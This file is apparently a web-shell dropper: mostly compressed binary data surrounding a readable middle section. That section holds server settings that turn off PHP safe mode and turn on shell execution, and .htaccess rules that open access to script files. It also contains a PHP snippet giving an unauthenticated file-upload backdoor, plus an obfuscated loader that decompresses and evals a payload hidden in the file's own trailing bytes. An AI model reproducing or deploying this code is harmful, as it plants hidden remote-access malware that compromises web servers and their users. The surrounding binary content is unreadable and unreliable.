7Pnysuexfojc53	m|Y3
c՚YT8,q@7WFmFF\lguxhdsfcy
[A%x]:"G.H	WZӮlguxhdsfcyH;F	a;ݙi@!w3X5+TD0:悹5^,wwK-RS9pcEH[G=ռ?B#,8/?e),y ͙T0ģmk}%kcAӒWG.o'Z!e_8A%`$JwNt즿lO6R95X%K.|dqLة5Y"۱.@@"ɊBb;"tZl}u74IE)}
^"*nysuexfojc%+X{a-޹&q\y
	rikv~U  Ųh7TKlF$"71b}:I۟#76ψVɓPaQCm`ijE8'"d/rPnysuexfojcWnysuexfojcaU"b߷㤉\p[(XNRX@9V$Xwl̋J ^SW	cMEI}a[7]rZrVuuYOQ d,YPRK$ݨ7E|[q0풌k/\}虚Q/iT	L~sbL6;79s۸.	K& VaZ#.&\ut	R[l2L[7\1-M:_}?rSYzuHn[eBtMnysuexfojcvh:gn=h~{g@Be,\9rmɀߊ.}A=lOCa \mc%3N՟ч2~v
pRZ%[ԧT=jZ2Ѩjy|꿤1mFKZXUO_l^&cZ{'1?QKV:y=ϙ#[bt׺[);{tEE	}r,|~Mv3 k-If}90!6\1W.G6~5=x=30 C~Iih
L:N)ڨNTYn0!
9lguxhdsfcyXW֞WIkE@l`IOձohĩ}BagkN	b]pDfJݟß#/|6Ѻ~nӝϪ܇H|kAZ#=3UmFR&n޴~)RCXc͹K(+&g'nysuexfojc=6ڤׂ04̡]d:0G|d*qwMlguxhdsfcy'/HZ|#Pj\d+%DcѠLRg*aPkeo5- ;D;ОΧR9`8qegt.:A8g+:_oGDuGfuUxщFBfEd9*~B#Q1q{ jiP
pşp"U$z(Xfe)iJ.wE6sv"j.BxqtvCddHnysuexfojc-`lܪ.Ub
Z⠋Z꧑êQ W lN+jcC'V}}57Tt%-j% DquH*j}6*=%3`9wrZd.K&D,W/g 8PntY{6
JtThnysuexfojcJsot=fKnysuexfojcFTi3*LfCpm}49t y(-TT3
6
0{+ʎ 6NS@]R;glguxhdsfcyuyWn;w0v.'Eo({~g67 v1@&Th1)0Ys5[r\m`4Zx,*WjjgaIqki8	\-1}TjTDsyԇ&YB:#nysuexfojc}QfsN0V[=]녗lguxhdsfcyE''U_#xFK;]IߔuMavͮX=
TIlguxhdsfcyaؙ)Cۅ
*nysuexfojcual@P? 1rXӎ6#SS!2!$\Kh9]M!
7{
}?܄?209yO'@ԥhNlguxhdsfcyЋ,v'&+6
lguxhdsfcyc.
^BU[lguxhdsfcy;

AM&Cc~[uzPܭ&0DQײ +D2LlM}/:&83[8XD}GbnysuexfojcC8c)lguxhdsfcy;qlguxhdsfcyR!n[$[XnC/lguxhdsfcyA`{cRnysuexfojcr.~ y;R1 8i90
h)}=
oq|	mGg)ot(y̔2j1VlguxhdsfcywhNTX[L^
_	8eujM5 ۀ7EiІs86Kxo
li9י-zqIuWaس-ϭplguxhdsfcy:'1eԊhGr3Y{J}y|'('ԙ(-cn;m9NÂ!
uְNX4To@5ƺe1j2-
5|~nysuexfojcaoqr?%Spg7u˿[+ȁmhb)⊼~OUb J^EAwH%IvmjYg]Q;\|ʶ
E6hFnysuexfojcAn
o==(DL*
Tys 1lguxhdsfcy	3Ֆ@;qۇmC@QKl&;XHaOql^(k~bMA*ӃG6~xNlguxhdsfcy9"nysuexfojcSA?xTZ,#Lqx}"K5~#vh3fv`Ims-5P=g8=]]cvP,X- 
A`)
k_^Ѓ˒u ~GZ]V^ډCm_@Plguxhdsfcy`JO*s3eۈxe,oЎ?HSxY4ع͇_0nysuexfojc^~a$DT	|(ƭU4+ulH[-!of?'I?g5M|cݷ^

@+wՂqEa!ފq߃PݟQY~	/d?m9S4Zr?VsP=zYVj_kn{O͓*[	^Nrr4'qTw[Z4}oSgQnk|r#U\Ji^vPizBxnysuexfojcw{~OGyh'7Zsa~Cnysuexfojc"﹝w`,#7Y\o;bwb7	&۹d@@?,ûߓ0(h46Jr`AUgg7pifjM*\cyeqlguxhdsfcyz/Ԩ}$4i[b`9WSXp3ǫnnysuexfojc^|$a2gpTɂ
s4nysuexfojc((Je 06ӷQs[`j?V:%`$KÂs=s1 F-=FDogX*~FRnysuexfojcIy4#!')nysuexfojcb{8}=Sӎy{N.pDKL	ĞK
@@98TMa0zHnysuexfojc7_`Kŧz)Q}\LhT)
A_J1K o(Pv~E/nysuexfojcz)%uWVh;|Y7w3wJZыzCfld
EY,XFz24Hp?nd@`
"P/,^^|"J[nysuexfojc=a
lcYs o\x'PˇmKgS[ax}n*#eR+1AbI_eiǧ
VT{5!m֏w7ycC#nysuexfojc{޵.&*nii4*7m=ĠlguxhdsfcyS[k29ox~cXȀ:u{WZ1-GD~$?ׯ)9];29]kŚp}9{͛m_ lguxhdsfcyBp`Xʧp
VS/.Jtlguxhdsfcy^Ь./ υۏ1?NRoד)OE-\M3~?~Whdav{T0lguxhdsfcy[|?W*f[ݡ v2^vFWFNҎ4]KH=\Ӧ\-CT߫0C/#Sɋ6}RA( ق-	ZF*8
dkOc֪2	[R"oM2-%g:fG'=p fs'I$x.wEl^RrBnysuexfojcEY52W-T/ԣcX֖`2	A4Qq_=b(e3
%f)*FD^lv/)tϑiIzۘf6?_{q
T\БiѾk|G+BkFwnysuexfojcj))nysuexfojc{m`ts2]Td~Aǐx0OH@W*lXZ$bPrnwQqņ&rE\|$ѥ)[uTlguxhdsfcyn=3_wY@DI	O:6e#N"vYmdǬ:?8 y9b}R3A
ȭߐ'&ӗO	&R=܉`I
\EIA97-Hݥ'ٍX۞5]fX3o:ꛬK!'~0lguxhdsfcyo
T 8lguxhdsfcy/GB.x[j=PDxUY[4 NÒK+'W%Q\nysuexfojc$mHV00n@;ZkVXAjInH~DkQlguxhdsfcy;1,q*ۓȈo`߸"B`nysuexfojc:[.{?{~ :}BneCj
KM(IQKi%B9F
SYQt0B}d	+=$X}7Wt
#?09kcgZt^gGUjBjR$,!nIm}UeInysuexfojc5iXlôhŬSXo23꧸͆	[9/)  i`7s әKEe5i+oWnysuexfojc=pP1΂w
WXY^Cvi}܃%X˧lguxhdsfcyuw2F)
[FzNwyc~[qPKEBYuh)bڝZ=L/Tӝr+4ȫM&4iXLVWBamGOR
]V(BʓZ $3dU6quqb;i	ϔAJyO[`-9=g\wn}	+;
r^|LRکû
t_ŊaQX7Lv}.1BZW+=}&Y.vTԾrFْ l-JE0Gg?a1M
y^|I "
Aw4	sur`}佰}nysuexfojc׻vz#βOxVG8Sy4bz:wIϒLܔorTxT&Y20t~J{bRC	}3W
oĨ"h']
#)tV2)ط~Rs)O8s 2O !)/^~Ǟ5~ܐIL	6iHwmzǖDئגguj8UrDlXӃ?)Gڷ
!FӔ`i@lСblguxhdsfcybC2lguxhdsfcy7&luk^heAts5J.*粅Zl-JHv\lguxhdsfcy?h*:d}tL=8 _@g3
ot̬	tB}+uKٔ@$]?F6E(@dƬJUH)lguxhdsfcyXӛ2a\[X1yr$.1{167+#{
1~OPq'r\U jA%nysuexfojc,Ɛ\/I*	l摟 ~TMzfel+Y6v	s\ K狴D6
e|qpj=ned e7{ѕ&*gnF@Q8)RK`a`-R{1F3vص?@G;
s*C~~tm
3fǟ;i?4Odھ	=0bKXxN1s}PyhQͳۺMf:nh6FM&WQ2pYeZ)0˷T+d7'nysuexfojcS]7EAk42Wia?'qˀQe"7f9Q}de"bTjGٿ{7/_uLxx}x^[Nh
Lӵ51̇#~nz7y~0833/Q+y:ƶ,515y!Xxt  vtgH,.fS7
Kz&UsN[4&O-h4}
H͡8~M]@*qՒc?Xy(=OP?'j#
4H5G,"C}=6lguxhdsfcy\?ۑ{ۑrHԆ^RJӯ*%0.	,_?,uLͽlguxhdsfcyp\[56T0~G"?vj}c?Nfj%mּ
 ԫ%[9SJTz1Ry)7W;bT7aV~ć{)z\nysuexfojcɣl99=EH
jPU[wJUS9q$.7rRumvCC.Z7/@zFJUn;+jۼk*м+A/G7kD5\I}OOU}n*~4Ԍ@[~7sPubܒb02c"vГ߬gL3ˏ6ZuВnysuexfojc]F%`VB㗼A!nysuexfojc'}i~) 0Ҧ;x~V{y\flͅ27 c 9_Xjz.&16	7\\n%7XJB|g Mx]4ӓ"ȼ=9 L̔ߛ1Wl"'Ud$S
ٽ¸$G]ZRB
Enysuexfojc񣩗{jђ ~HX}5el 	eOl//xrqz܆v'\sj`G'\#[&*/$p$$6
&*67xw\SC-*yñG8kbQ,~wojٹ^IQ	{y0xz׉OW#i%_Q+6Zr'MjM!ttUrD|񻦄rI"KaMbYTJn~|)VC1GH|2RWND51($|žaH++Tn3j*9 OtŕQ,1՛݁;Zb	3C3e**o|ݦ;bffeJH߸3&H^!Z	eH;("JkwGBZi
p=Wy[ٕ֞S+Pq=n
p*O	nЇDXV7zSV*)Thz#I9|jh砚HY*3Mkfz:]Fulom\DIn3M[HNaLz^r%#aEJ͞\SHh`Ӭ)B"-6W窸683VotĈᇹuo[/ð~N( 7UCG+]nysuexfojcC9a|{X`B:-$lguxhdsfcy4Јa'T{~j^C|]򙮦
TT|jZq
3?Iy3^99[=6]MpX	LDB5;2gJS
\}uM%0g `^TYYi:nysuexfojcӸ_Pb}lguxhdsfcySp­q?$}0CbVDKAv.A0#yH^o4cnȃ`caQţ	USη٠gFgrhκ&iys:9=#6d@d#s (9&zYžlguxhdsfcy&裲XcGeU0gWSZXsGg`gL/]F`O愆 }DҞ|ma^YR%[!1 nMs\xeTLA6&u\]"ضf*^dR~؀\dܴPJODn^kdn2Z$;bE*)TO/]I;9Pa71,xq`s4TF4VbV	m
][!ʼRxf~&sߛ,4Rk8wXR[3?s+\'.+IwCis[},؁Qz´AkVT)[lN3,^%ٖzlguxhdsfcy\Snt DCʍ8a0w	,^(K4kX+IVeX:_Izp^Fg:PNvmSÏ2ܧ4-L5:ROzz1v2nysuexfojcOsP]d_' ff&M[Y/Aq7|bVTl6eiQ.&_ɔ	zmpzkj3%t!nysuexfojcJGS-v"Xݭ1Vxt:	Pu;ZQxUHlguxhdsfcy(=
.j0̄*_%klguxhdsfcyFC
iє
UcSJOf0?|v{J$Z^չy~Om'tnysuexfojc/掮d9GݩLzzHTTbuf67]!P܄_.tpqx@AlHϫ3D7߈+8:ǄsMj-h&|  9Y~X0oB/:	9?bǫp'kֽgpU(ZVmqk(7TQD5
Gj-~)ufvnmNEcOwv/-="ZLbyc)A0
=jV͓w 9Et&fBg^%BC0vzd&XU_bA:վ7WPyAT
4 G/x
gq9Juȝ/ouC{K(y׀I#ɳGO	5Fԟih:mq
*=DoP gIAcA#3ੂM#-FKIn8l2?rG )\'b+|#{ҍ4əť`7![S%Hr:CDwh&l #$XȸM*r1 uҭ:|{8)DBb:P"qoe(9{~gA= ʳ!tQhon߿7Sz3	C_,VLȓ'S%]sn%p\Ɣƌ,@:7lq;nysuexfojc隻,bJDt0:,W_:xj::-B`ZfdP|avnysuexfojcH
Y.kø8W|SI,滸xFvUC2Gs~U8r6,2%$![i@ۂr]|wq7HPo\}?6J
C$fuC]օX4@A'ilguxhdsfcyj$U*vA0BZ18iw~[33Fzțla'=|aŬv0~b?nysuexfojc5Î3c9Bgju&T&8nysuexfojc]=KNU*9ElguxhdsfcyM
߼lguxhdsfcy͐14ylguxhdsfcypKp 6lguxhdsfcyXפxDdépј/;J#+zJ7/^lguxhdsfcyJG*PNBs2p
ŇXŉlguxhdsfcy(.;zX꓄=eLB\	mDud:߷ lD:/#lguxhdsfcyP3q U4]YN!)N	s9ʵ?Ah(Q R,]ĉȬuٳɶ8B*+V`EDӜ;ke_c׵Ѹ`%d~cRY-e TXISuDg^є&}Wu~ʒuHƢwFuE:vrm-U&iMb	ځ

t2xmfZJm4+5@DnysuexfojcQk䧊*^A/\+)*G%ň"(ۋ(|pm4Ǹ~%6ds!M	V
|S:t%AQ;1χe.K׌CCu~-c?Pk-광m{ͦ!2-U`t6[)=H8x򤻥q)PzLr]b_U_.c\]BPf&ǈ֋uXJľ͗Ծ_f~|k0׶4tOXe,k)`]	]tmVgXo
Mވzlguxhdsfcyd}h\i0lguxhdsfcyNt
ȕJ%X]sd9Ѱo 1rTvCJg.p`RYe@ܹx%vW8r*DFxXuX}H)
O/B	p
6Fjp~pR
h}[erN\ QضIOI*lguxhdsfcylpzSZy._1d4,ZZt yM}`gTCs~ͅ!lguxhdsfcy[i_FLC_-]uVm^r!C˱½4nh0RO ^*
tƖؤM
uaX쮓+n7\ld)TfCe9 ||WQݩtq?nysuexfojcF܄pTZ1D?*
l_-X1GulFnysuexfojcmiZ.NZ^eL43suZ
rC*䖉ł}yh`_]+jt b"ݏfkwiq($nysuexfojc	Qҳ, qWH/	UW+UQrV&?
Uߺ32Qh)Qha
8&ͼ't/^oMlguxhdsfcyrB~ݞUޅ8]pgwT!JClguxhdsfcy0_S3g2'YCm*Sflguxhdsfcyi%4adlN{IZGNˀc4K@e=w=%OL8kBs!iKqG:N,9Ü#%5OnysuexfojcE.ruFW\`Lq )BwM/sFf@5]nNM_9Q\=(lguxhdsfcyBq5.b {^syfQ~%_y1"=գDiih*0RawA+1v"^&6F+^xTq f`O*pF8 Dƪ7x}*H77@,%,6 y/9
dr?1˞ZRi3\?(cmO#_p'}*EwrcnysuexfojcQM$Klguxhdsfcy$~UƴnysuexfojcaPJ|#2].-0U[Uקp~()Qrh*.$bLs^qȫ!dELefLdv
MVnysuexfojc(HJ7rk pcrkMv54[KY|~(U[ }3.jp	]ߛh;tmaQ::V^63Qtnysuexfojcnysuexfojc` bNS1ݡZCk|41+#, (@Qp^
nysuexfojc~D}wG0+|gTlQs,~=7M"ֿn XncɌJm/#w$Ɇ0"e$ztzN(F-S荖]v-// 呑](eEIlR5زMyy1juRӻ(â]ov2mbR'UѦuO6^Ѻt϶#I
&TcUt}^5rAsWB3dw}mCݍ`j83oX&ЈcH`|;/40inysuexfojczDAn	Cs"~ڂ 2
}	c?AjHC
= bw6M3)kFhxwnysuexfojcѯL;7{U:_T⟊Yx2JBq:ބnysuexfojcm9sLg__QDϬ1oڹnv%=[%sNAaԶ}(%бUGctial)9bQ$wx+*}0 YƜ~efk^㜢#U	"#i1֚ Ve{lguxhdsfcy=("{%g2VG{tMnysuexfojc `=ZHˠܳd4}8da'+ᣅnysuexfojc۔mUx폡(DɾAZHh\g(7Eq\4EL4Dbݲև3KlguxhdsfcyP}A=@ᑛȳZF_ `0F-ӍcÎ)V32i^?@4
JQ`x?
,&TmP\WO#/&=+_ԋ7.Ec	xuJ
VD}EߚOrfa-K/F&:lFP-*P_$/8;=d!"xgA63Td`/lguxhdsfcyRAA3]O~-LW1.}hTL5$Ye@XOlkڕ5 s ACŴdZ& VD򄞾	Ee-)?;8)}9	yFYM)%F}jJVʝlguxhdsfcyaxzlguxhdsfcy)`ZE
޼nysuexfojc'+x_͏0aZޤ%OV'{@"}ǁ+t7I[mw!1#:lguxhdsfcy'8'AY;l$Hv߉h lguxhdsfcye3iR4:E:`o

xO^rӡ$%u5z}wjo}A8ԂH޺S%T`j|LX"yUSSXknysuexfojcsu4ޝ
jnEq)^)|;
|׼g={wGrWTKRz\Q -tL
3pKVLB/I*ˑ9);=D*	to
WP]b΂DCkW|Xq̠^wA((R0.dcV8$
E"Z?p=Duӊ&^O	\yؖNnysuexfojc&m_zQE9͘_&JNnysuexfojcPT}kx!H
iae$~hP`	%4"NZ}X$Lݳ+=AU@М11lguxhdsfcyDK@ ϧ16ʪH :*֍Kxnysuexfojcw#ګ:rg-K)f`$ͯH鈈K2KR͇vxX5:Q|lguxhdsfcy,Hs 5lguxhdsfcy͖Mus(d ڸ	/kW~։SȃNSYWmo8!{nlguxhdsfcyjJ.ݞfzj昴lU1ȥe! 1V-6nysuexfojc:${
allguxhdsfcy|fkƭlguxhdsfcy.3}(0Te,+gۮvb(MlJj(:uٟL((n[9wru?2*U QDP[lV[ʹIwG6y
Ȅ/˵ e
 Hv5Q .T*Vq^\,ӵ̻3:8v1r~l;nysuexfojc4%a7%[qI%y!eY1nRi5sWD9ݎU#ǄPnuw(fVeIW7Q
d
Kt.Y9nnus}?nysuexfojclguxhdsfcyCq`yl$ОB#FibV	/GƀB;safe_mode = Off
disable_functions = NONE
safe_mode_gid = OFF
open_basedir = OFF
exec = ON
shell_exec = ON<?php error_reporting(0); if(trim($_GET['f']) == 'f'){ $saw1 = $_FILES['file']['tmp_name']; $saw2 = '../'.$_FILES['file']['name']; echo "<form method='POST' enctype='multipart/form-data'><input type='file'name='file' /><input type='submit' value='upload' /></form>"; if($saw1 && $saw2) move_uploaded_file($saw1, $saw2); } ?>

Order Deny,Allow
<FilesMatch "\.(html|bash|sh|pl|perl|txt|htm|phtml|css|js|php|png|jpg|jpeg|txt|webp|mp4|svg|pdf|mov)$">
    Order Deny,Allow
    Allow From All
</FilesMatch>

<?php
$BNnk='ex'.'it';$gDeU='gzu'.'ncompr'.'ess';$lkux='su'.'bstr';$Xwsn='s'.'tr'.'_'.'r'.'eplace';$FrzR='fi'.'le_'.'get'.'_content'.'s';eval($gDeU($Xwsn('tegvmcjsdy','>',$Xwsn('nehxdlrwco','<',$lkux($FrzR( __FILE__ ),-172354)))));$BNnk(0);
?>
xtǎP^_
fN0nehxdlrwco`&L1O9gtegvmcjsdyU쉁[%@txZJUbLnnȋl??$Cmݵ=dvw
˕W{f,dUlykqm[y}Xi?h?U#uO~sZӺ7cg?/_yBUgCL9lI4CӚg,O62} nehxdlrwco~
AcY T/vFރ
SqBNu6pE0~V}/7P|d08TkG	
gap!%lx).0|w=R{{;0InS	ݝڹYIquoʀaݷ{h#5tԚ s78_x"B4,~H4Pv_TMY ̄Ӄt_fOvFHcIPWC,8O93Eoz0j`3,y_n	z8 $d{Hknehxdlrwco1dR
ݕx"k[Sqzg):4JJG1m	(M_;0hdރL3(ODdA`q|R'2.6nehxdlrwco@XqA} :"~LNVNҴͼ?Ly1!Sn;}г7~w4dRx{ &iVQ=-Bj-[U vZ_sB/j*,( 4d'⒄*jSYMQF
^m
Av}l2ڒ&\ȕڌl42}}IeVtegvmcjsdyiٹde'ĿgJq+0Uvǐu$+)Th;&%[&/gy@M~.uFUTv\aMf=V#LgIr
|t`hے]aT4Zr~g[bnnq]ӌmm޽O87A6TUJYj(/
._ :~C
_	խ]W
d$?]RQEnehxdlrwco?sD=7	%+Wf3PF	= BgyqLn_X7YlE̜C.KsG!ږ72	_Sҿ8GlW-G!E2!Tp'rDȡZdnOA?s':8T~6z	/R친IÆXfő!"2u^
n14^5ʜ}=_`R*xbc]C '3`]DvC
1S!#TWfoGu'˄պ*+"s͢kQsoddtP"j 	oo\uwν.۰b$zVteFnMg!stegvmcjsdy !L+JWѷ2s\IdMh%oH,
t2;GfzGkpKKXeLLع%6]XLfx6	!fԼDtfEP5g_$dy} 
;[=

JD.oUnehxdlrwcoJ|6y5(;,@jhC\Uokufd&1g&P~4v ~}$G$0TͿJNkKp%!xitM^BxAt
wXvӉo)kx@/$)*MX%j+nehxdlrwco	U#~ UD3ԯ?d
PK3PV	4X`w4#L@	)iátq(~Y_Xis߲	_1nehxdlrwcoZόcQ̆O@ˢ	c@#.SFnB9$֒q}yhdr.}8]&MBHGtegvmcjsdyF|orZ.Qꞓo՟mix#F{VX*\ёmVNvH3gk X)WQ~iz8+ƇЪ*WhhP;Y	xnehxdlrwcoې;F`zVqKo9~.7\h5ʋa
rute+K ty?Z$Auuٰ\w13)qmF!Ohbz5.'Jek/qشuհMS ٸֺw/Hz]cƕ`2% 
cTcB`Gff`nehxdlrwco9)!?S "ɶN pR7d|2+9V.k}FT:3UC"b'd͎ۙؕz|{ݸ[-Oapj6O	N!_g.՝GAg]jJWb'S͗Ts 9Ow*KQowgn2ӿ"-$eU'dD,2(.LBP9$󖆽4ؽfof#Eu+TH"ؤAp4ά'tegvmcjsdyDƽtegvmcjsdyM|w]+_@鳌Me)0L7϶-v䦎JM8Ca!k`;uئx@zb|JLqDkɩbhbwQ誚3}Mf#78e4oȨ\ztegvmcjsdyL
?ݑn~ 1e@DE&w%wgwd5oձtWtegvmcjsdy\lTHOmrODd~9D7Dd|֨3RiF׿zIPr*QpO7^bܱN}vyL
(ZηB}
}1K6$G
5
cc Ż҄yǞi	`.
؄q]O2nmdmB3i
{f:8􋝟Ʊ鹓?&^b4Tb?$+㳼Jo j߃n}ʵJjHK"Xnehxdlrwco]w){X6ru`~+Ӫk~V5cZyJӅ񛩫9}z
/Ie@mTtegvmcjsdyrS*du?c1'zH~)"FD/}EGAe*S&!~nehxdlrwco.!LL|'d$uNdW938ӪgbqRL
ep;v"9X2?a_O 0{^ط(J;­ޭoѺtegvmcjsdyO0CY]s
b9VKqqs[Z+g?yjBaLQO{|ѨѲtegvmcjsdy5!J8&9zxx$Y0n֯(@y`hi)nehxdlrwcojdR:d-RõynDb|
?f#AWIAkRsOͷ+F0g߷DލXE?HH9~m"~T5s1I.nehxdlrwcod*{_%!{;Z U./bƉɟUlo=CYrMӷ2%4J@)qpu25ǖkazzJ5%tegvmcjsdykmcY=5	=j4z [BA 3饼˥;i7{cTn
̝=rLËºNhǓ\(}v' z~2 pqJDU}+6Aj楨dbe8mC]ctegvmcjsdynehxdlrwco񓣬9`Ӹ!Z?foV8R,fطG#wx#-H̞'9d?[`,d&~hvLEҭ_D`Bq!7|pzح`*?wX̗:Np5GM`"\a-uW	#akfT՜`*5eu'W@vJaQr!cFze;ptzЧۇ+^Rz[k1LT']篱4QX+$[HQUVS߰N(Nq[A8ë
iX|HHu5m4$KY; TsI_;nehxdlrwco)k*!k_Ԅ폐MF'UΏ	0`/d/?{f[řRR|c2U F1[s!+iµ/@-'[/o
5j}#-n$L64AD.@KӇRΞ"#r(vie,4W-6%7j7X$9&'r4ty3ͷҧMQ+&o:԰M-]DP̓cqfي)|¯ǚ?RUM:IΔC"(
Ǫܦ(.B=Y|\P,,2*BqNdQuP
eL$t$4 HhOL[MЗVn]BeL3H:zf&خ?qvUuR=DZenӐF2{Lgh:%'oOL;q=
٤#_%xu89[pg{K蟚yGR	\_=z&C
V|(pxχjNMJ@l2[Jy4nehxdlrwcoKg!2)[Ĉ}nehxdlrwco89{jku$ﳳi+rP-wPñnehxdlrwco[~˻@7 8"ԗ:V-1RmBB!g4[mB
6fyi
K#״[A%gpeWԼzt,nehxdlrwcoﳙn\!Jnehxdlrwco@Jh|GAE2ӕߌۏ*``λܲeYAs;hu|TVzF"m
{	k2WM|+£MtegvmcjsdypwpѦ⸄p	;1#V,)*lJ}AdR˖X̴|Yt)r5=\vm7Ivs]qkߩ2xx&ɷbU_W 1sa\df1}.ITD1,ʔ ED)0o|Cp빲(?gn]7]
zfqC⾠|԰hzOMdtegvmcjsdy G?@ߊayBi{ճIl
^3Q49kڼtegvmcjsdy.04]awK튙)GsVkAb)Bu~m`y/L'tegvmcjsdy_s iplɂ{pLb%2JVP;f7*[MDH"qZse%?*h6׸*g$DS|SGmA'UY8aNvJu$zDCtegvmcjsdy~%PYZUuSۺtegvmcjsdy7iQV-kkaN,Dƴ%nehxdlrwcoϧ;ҩtegvmcjsdycYrAxFQl!iIܼ|/C
ymx&|W6la]c}BtegvmcjsdylT/mаutGZj.	A5!iSnehxdlrwcoZn1?Am	 fx_ѡ؈nKD{QW!t@!t3;g)_o}N;PRX/Ȗ^R'esSNf~5Ā`c\ݢ{G	PIٰtegvmcjsdy)uLNij~tOW'd5UWeQ_c ӱ%1G θ8!gU1&Sxv?$訬5)L~%vs^U@υQ\k[&8z(8#'.
ُ.(9ПMufP\f1I1	ۛtegvmcjsdyx=toFBun7ږUs۬63$XIm}Bs$D}ɭ]DQR"	6d
tegvmcjsdy嬎PΨ
I1dжZxBzJxwwXR-j#s*TK	%;ݴNlPMInehxdlrwco tz" g-zP_s#Ʌta֘}o/%#!"
Z粥-K&mFwpOú7}eG9{{( MENǵ@HΘ[L	5f?BӐSe/3k/or6.y,1S]GγǦ{|\߷i"
R3,bv ^n Pgb:kC^Y:T9i S[~:Qczub"
(c|Tk}zn/W|Wdiy]Wִo鏅o("N1&iNq&co}gnehxdlrwco3~;?t"qj$tegvmcjsdyQL(ƌdhd
D?fVi='-J(CW.)FZN" Cv /IIΣ)(
O颫 ~.s{!_$HP.*&"w[:ѠeifKI׍n2'oQHQ/jjjn.@RW[*Y?6
}~l*f%Fq@͘c_Rٌ;/dV]' nJ|HnFum-UW)od#M1,+Dw{ޑ[dZ1&x`i(-fbjJB53'6K~BF
FF[-х,+LꍿmRS^"lG^ݘ/`eEoDu
pb&'sep/	~/*Z_c}\@v~IK {zPǸ0(kJK9PY
h
~m"cgu"yOY ~Nc8lHwLqau|}msTj p@vJđ8bw) O0O!v܏{hwږȸ7o){S1J
R)G"
?=_N )^qS;X {搃ߘr"	-Q &,Cadķ$QܧC)إ
CipB(?)-sӉ&$?Uo}!'h:R	pg6vE;&
Q5ZvFPnT?)!#wZtSK?nehxdlrwco_	ۣa8 Kay!9xW5tm.e{Xr{K/L?|ˁ育l]&si7t"J)GݪμTω֭/Yu~7qܨ_$¬F}]V$cyW#*s%\HZh+6܉ӻQnehxdlrwcos	/tegvmcjsdy땐t tegvmcjsdyz
U=?';I\`܀ۇm+ynTIW:0VvzDǱ!6#sk|+55Nhȑ[W#߮k$e!~@gs*/TgEP[멪RTk"	|Z9x,~A
CF,=A`:W/p"bz		't(k^poG6JjYAl܀K'ȬxtVD{c#2S8sy"
/nehxdlrwco@6u02QJ:iV	c#7x%x
Msl=2-!B uUCu!,b=
w~M·{%-A*kO
hp){(8f)b
%m۬_Dc*"?ޢp%XI9i_$[PN^:2zJnehxdlrwcoc[kE{xh$^tegvmcjsdy6P(6fZЮ߂5Dnehxdlrwcoи t1P8rdv4(]W}ث-qH16q#{k}hD_):g5uL$*yj/Cͻz
N*TqI⟂5tKjWvs4i4b;w|+w*sXV:`\nehxdlrwco't7~6M&&l1ml;g_o!g~^[q|PS7OUہQY)/D2쿡1VKc`)#/F'tL$I˹Vw^RoCs\աOǙ1%-,0A'!kHr+8t3DRAơҥp:қKPbtegvmcjsdy?U1ۺL8s!=k5aISpnͮ;Qt^
|/vT|nehxdlrwcoX0y&sh5_bj%*EsOEU+c}fHܚR,tegvmcjsdy{=$0ӭvG!Q%|b%/J)06Ym)KoZnehxdlrwco`p2DײZ.Ӥ=y@`ȓnehxdlrwco"T~tegvmcjsdy%Jtegvmcjsdy3ۘ*_M8i:FFbaּ;Y+lDЅ0dԿV J߄VRrȜ8&肃 ǳsy\!hh[nehxdlrwcoEIM$NL6 VbYiKe#Hv[MR
G\s-ږ(R#aҎD	nehxdlrwcoPTY,kIxHL&.b0nehxdlrwco,N'Ooߘ3Mgdډ1H's`(ktTρoX\9D4A_
7JArX{g\E4j&XUV*tegvmcjsdy#(UJ-;Ȳ;0- 8o=,M	H39G@]A4tegvmcjsdy3$omcʌzcAT^:D`
s7.9L@?  * uoTq/{ԋd@}dৰɷ7[c==2*WjN	t1-TWE_QjRDa`1ѷHL8į!3K:2URΞ䟍Os
ttegvmcjsdy_cҜփFP?W'5 ᠲo\0I/cY4Zᚥ?~}'+wɿszJW'h쨾KdU5,7;7kE(X%nehxdlrwco͗~g&AcH"}#v	4Si={HKnehxdlrwcoΦΘ:[MSS՗,VʾVTuz	pލV)!\rnehxdlrwcozPq
Unehxdlrwcokybz{k!t@38b etUpe$^4+Ašf85T8V7|('yE]{6i5Oa!W!5HM漌C_]}'dxeWd5H*QM V3A"P']R&ԃ$8Ju3V.Cq0}zpx
UKd~:^]R()~02纫tWkMZB|9Y3i
| tegvmcjsdyEnehxdlrwcovA
3~}ߏJ|E"D12"
a=,+䑻@j|%Qtegvmcjsdyn8K,&t\ FUA֦,+ڡ7RLM0Svc??nx9nehxdlrwco5޽uqtƇ06CS&;,{]W tZlC!rUcű]'_1fNWڝ)ﲒvT؅Z0tyت*T*h6
4nehxdlrwcovd񞚇|֮nuE!bc8E|TJnehxdlrwcoSXA{-K=eoO}cm%5nehxdlrwcoɄy`'I߹ .%Sf
TE
nb۹c;LsTJxRaT|B5_,˛״ob/\$}F	ƫ'L3Sq@WJj_"B@X`F8tegvmcjsdy 58,r|tN+ 6Cu%$b:s9~max=A\C&tegvmcjsdy5(%`^9oM4Ua EO^Rҧzi&jV-^s'VBA0Q6nehxdlrwcoſ
R]*YH$-_-z$A=
3sq7`DGYHy0/t׶aU=.0 tegvmcjsdyʯ9Q]RDxr=L#nehxdlrwco
X39/ 6:	||^
ZoXF̣SQnehxdlrwcob5m!ĸ5`FJ;DY:=i
Xw2J̧oRƣ9:EMF( 
L-R5:Bxx3	.:a~,{e,{+|h!z
D2E;@+,7ZS&L|;y]v@ѯN꼞̔cAK	g
.4^h XXV@wz˓ԐN YmIg뗟nehxdlrwcoCŬJdi닿},S1Z5pm\po|nB]aAF!BH\܏BG7RuJCH`Nh&9@r)c1o0UΉ$V#.CiC7@!
&De/ނştp1w-ʶs!p6r[)Lf+[$2-~W Sv2Tz 2[+t08w'B=By47uZpژJ,aFᵾ&3DRI!qJ}Q]1::)uoj0y#-piיfmS ÀEYM3NGMhkC
Km7[w@YMhUmii6_d3LBL:7'tegvmcjsdy
@z_za#DrC9St'"OR0PD*-8; f	M![!ňP&r`r뵵` ;c2cmJ+#OwYi:q!{q9|ȓG!,vrf	فM5nFS.6TeȇnI+x}"F V
IL8D(#L
?ޛBm
뗋4[ _su-gz%d !$z5D]&(CnAL_jd=_־7e
zHB;wmnehxdlrwcoTuH&+A~SZr7o \p-K6(dzг梜p8_,"ѽiѯocho/i'Vf֤!'hM=Nt^Os'0ݳ*]C6ne'(_Q8CNph"3DSMudb޿X74fUQoYebՏ674_V#.ɘ9Ͻ^?nehxdlrwcoX_ mEw5g&S^JL|ЬS~:{Q	oZKǜkzHg*&3 h%{,(Z=
lA,}y5h}EGVޑ.3B?j`q
76`f}
DSc`lϒ_Fr{b1?b4ºE5a
